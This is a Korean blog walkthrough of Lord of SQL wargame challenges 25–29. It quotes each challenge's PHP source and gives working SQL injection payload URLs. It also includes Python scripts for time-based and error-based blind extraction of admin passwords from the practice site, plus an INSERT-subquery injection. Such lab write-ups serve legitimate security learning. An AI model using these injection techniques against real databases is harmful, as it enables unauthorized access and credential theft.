Home Lord Of SQL (25번~29번)
Post
Cancel

Lord Of SQL (25번~29번)

LOS 25~29번

이어서 풀기

25번 green_dragon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

우선 싱글 쿼터와 더블 쿼터가 필터링 되어있다.
id와 pw를 주어진 쿼리에서 가져오고, 그 값을 또 다시 쿼리2에 넣는 구조이다.

처음 보는 구조라서 검색을 해봤는데 union select를 통해서 원하는 값을 넣을 수 있음을 알았다.
우선 싱글 쿼터는 이전에 해왔던 것 처럼 \를 통해서 우회가 가능하다.

그 다음 아래와 같은 쿼리를 넣으면

1
2
3
4
https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw= union select 1,2%23

-> query : select id,pw from prob_green_dragon where id='\' and pw=' union select 1,2#'

id = \' and pw= 가 들어간 후 뒤의 union select 1,2가 실행된다.
id에 있는 값은 당연히 반환 값이 없으므로 뒤의 select 1, 2의 반환 값인 (1, 2)만 행으로 반환이 된다.

그러면 $result[‘id’]와 $result[‘pw’]에 1과 2를 각각 넣을 수 있게 된다.
그러면 id에 \를 넣고 pw에 union select 0x61646d696e#를 넣으면

1
query2 : select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#'

가 되면서 문제를 해결 할 수 있다.
이 때 query1에서 2로 넘어가는 과정에서도 SQL끼리 전달되는 과정에서 변환이 되는 것인지 hex 값으로 전달해야 한다.

1
https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=union%20select%200x5c,%200x756e696f6e2073656c6563742030783631363436643639366523%23

26번 red_dragon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>

id에 입력 할 수 있는 글자가 최대 7글자이고, parameter는 id와 no가 있다.
또, no는 숫자만 입력이 가능하다.
하지만 따로 필터링 되는 문자들이 없기에 id에서 주석으로 끊고, 내용을 no에서 채우는 방법을 생각할 수 있다.

1
2
3
https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no%3C%23&no=%0a1000000000

-> query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000

이런 쿼리를 넣으면 no<까지만 들어가고, no=%0a를 통해 다음 줄로 넘어가 내용을 입력할 수 있다.
지금 no<1e9 라는 정보를 얻었으므로 이제 이분탐색으로 간단하게 구할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import requests

my_cookies = dict(PHPSESSID="druge69moqhkorlih51issfbvq")
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
abc = string.digits + string.ascii_letters

print("이분 탐색")

l=0
r=1e10

while l+1<r:
    mid=int((l+r)/2)
    param = f"?id=%27||no<%23&no=%0a{mid}"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)

    if res.text.find("Hello admin") > 0:
        r=mid
    else:
        l=mid

    print(mid)
print(l)

27번 blue_dragon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

이번에는 필터링을 \'를 하고 있다.
그런데 테스트해보면 특이하게 쿼리를 보여준 다음 No Hack을 보여준다.

image

이 것은 쿼리를 실행하긴 한다는 것이므로 error 기반이나 time-based 기반으로 접근할 수 있다.
하지만 error 페이지를 따로 보여주지는 않기에 time-based로 풀이했고 간단하게 됐다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import string
import time

my_cookies = dict(PHPSESSID="druge69moqhkorlih51issfbvq")
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 60):
    send=time.time()
    param = f"?pw=' or if(id ='admin' and length(pw)={length}, sleep(4), 1)%23"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    re=time.time()
    
    if (re-send) > 3:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    for a in range(32, 127):
        # MID + CHAR로 우회
        send=time.time()
        param = f"?pw=' or if(id ='admin' and ascii(substr(pw,{i},1))={a}, sleep(4), 1)%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        re=time.time()
        
        if (re-send) > 3:
            print(f"{i}번째 char is: {chr(a)}")
            result += chr(a)
            break

print(f"\n=== Result ===")
print(f"admin pw: {result}")

28번 frankenstein

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

이번에는 에러 화면은 있는데 (, ), union 등이 필터링 되어 있다.
하지만 에러를 내는 방법은 아주 많다.

일단 double을 범위를 터뜨리는 방법으로 exp(), pow(), 9e307*9, ~0+1 등이 있다.
~0+1은 이번에 처음 본 것인데 ~0이 UNSIGNED BIGINT의 최댓값이 되서 거기에 +1을 해서 터뜨리는 방법이다.

괄호는 필터링 되어 있기에 뒤의 2개 중 하나를 선택하고 조건문은 case when (조건) then A else B end 구문이 있다.
이 때 length() 구문을 못 써서 어떻게 하지 고민했는데 like과 %를 이용해서 한글자씩 뜯어오는게 더 간단했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import string

my_cookies = dict(PHPSESSID="druge69moqhkorlih51issfbvq")
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"

print("=== Finding admin pw ===")
result = ""

# 최대 60자까지 시도
for i in range(60):
    found = False
    
    # ASCII 범위로 시도
    for a in range(48, 123):
        char = chr(a)
        # 특수문자 이스케이프
        if char in ["'", "\\"]:
            continue
        if a>=59 and a<97:
            continue
            
        # LIKE 패턴: 이미 찾은 문자 + 현재 시도 문자 + %
        pattern = result + char + '%25'
        param = f"?pw=' or case when id='admin' and pw like '{pattern}' then 9e307*9 else 0 end%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        # error 발생하면 일치
        if "php" not in res.text:
            print(f"{i+1}번째 char is: {char} (ASCII: {a})")
            result += char
            found = True
            break
    
    # 더 이상 문자를 못 찾으면 종료
    if not found:
        print(f"\nPassword complete at {i} characters")
        break

print(f"\n=== Result ===")
print(f"admin pw: {result}")

url 보낼 때 문자는 되도록 아스키로 보내는 것을 유의하자.

29번 phantom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");

  if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>

이번에는 다른 유형이고, joinmail 뒤에 값을 넣으면 원하는 값을 table에 넣을 수 있다.

image

출력하는 테이블을 보면 no=1이거나 ip=원격 ip (공격자 ip)여야지 출력을 한다.
우선 구문을 깨는 것부터 생각을 했고, 그 다음에 새로 값을 넣을 수 있다.

1
2
https://los.rubiya.kr/chall/phantom_e2e30eaf1c0b3cb61b4b72a932c849fe.php?joinmail=abc1'), (0,'116.40.207.38','abc2')%23
-> query : insert into prob_phantom values(0,'116.40.207.38','abc1'), (0,'116.40.207.38','abc2')#')

쿼리가 아래와 같이 되며 abc1과 abc2가 입력이 된다.
또 뒤에 있는 데이터 입력에서는 ‘abc2’ 자리에 서브쿼리를 넣을 수 있게 된다.

그러면 (select email from prob_phantom where no=1) 처럼 넣어주면 되겠다고 생각을 했는데 안된다.
같은 테이블에 INSERT하면서 동시에 SELECT할 수 없기 때문에 prob_phantom을 선택할 수 없었던 것이다.

그렇기에 임시 테이블을 통해서 우회를 해줘야 하고 방법은 두 가지가 있었다.

  1. (select email from prob_phantom tt where no=1)
  2. (select * from (select email from prob_phantom where no=1) as tt)

이렇게 임시 테이블로 인식하게 해서 출력을 하면 잘 나온다.

This post is written by PRO.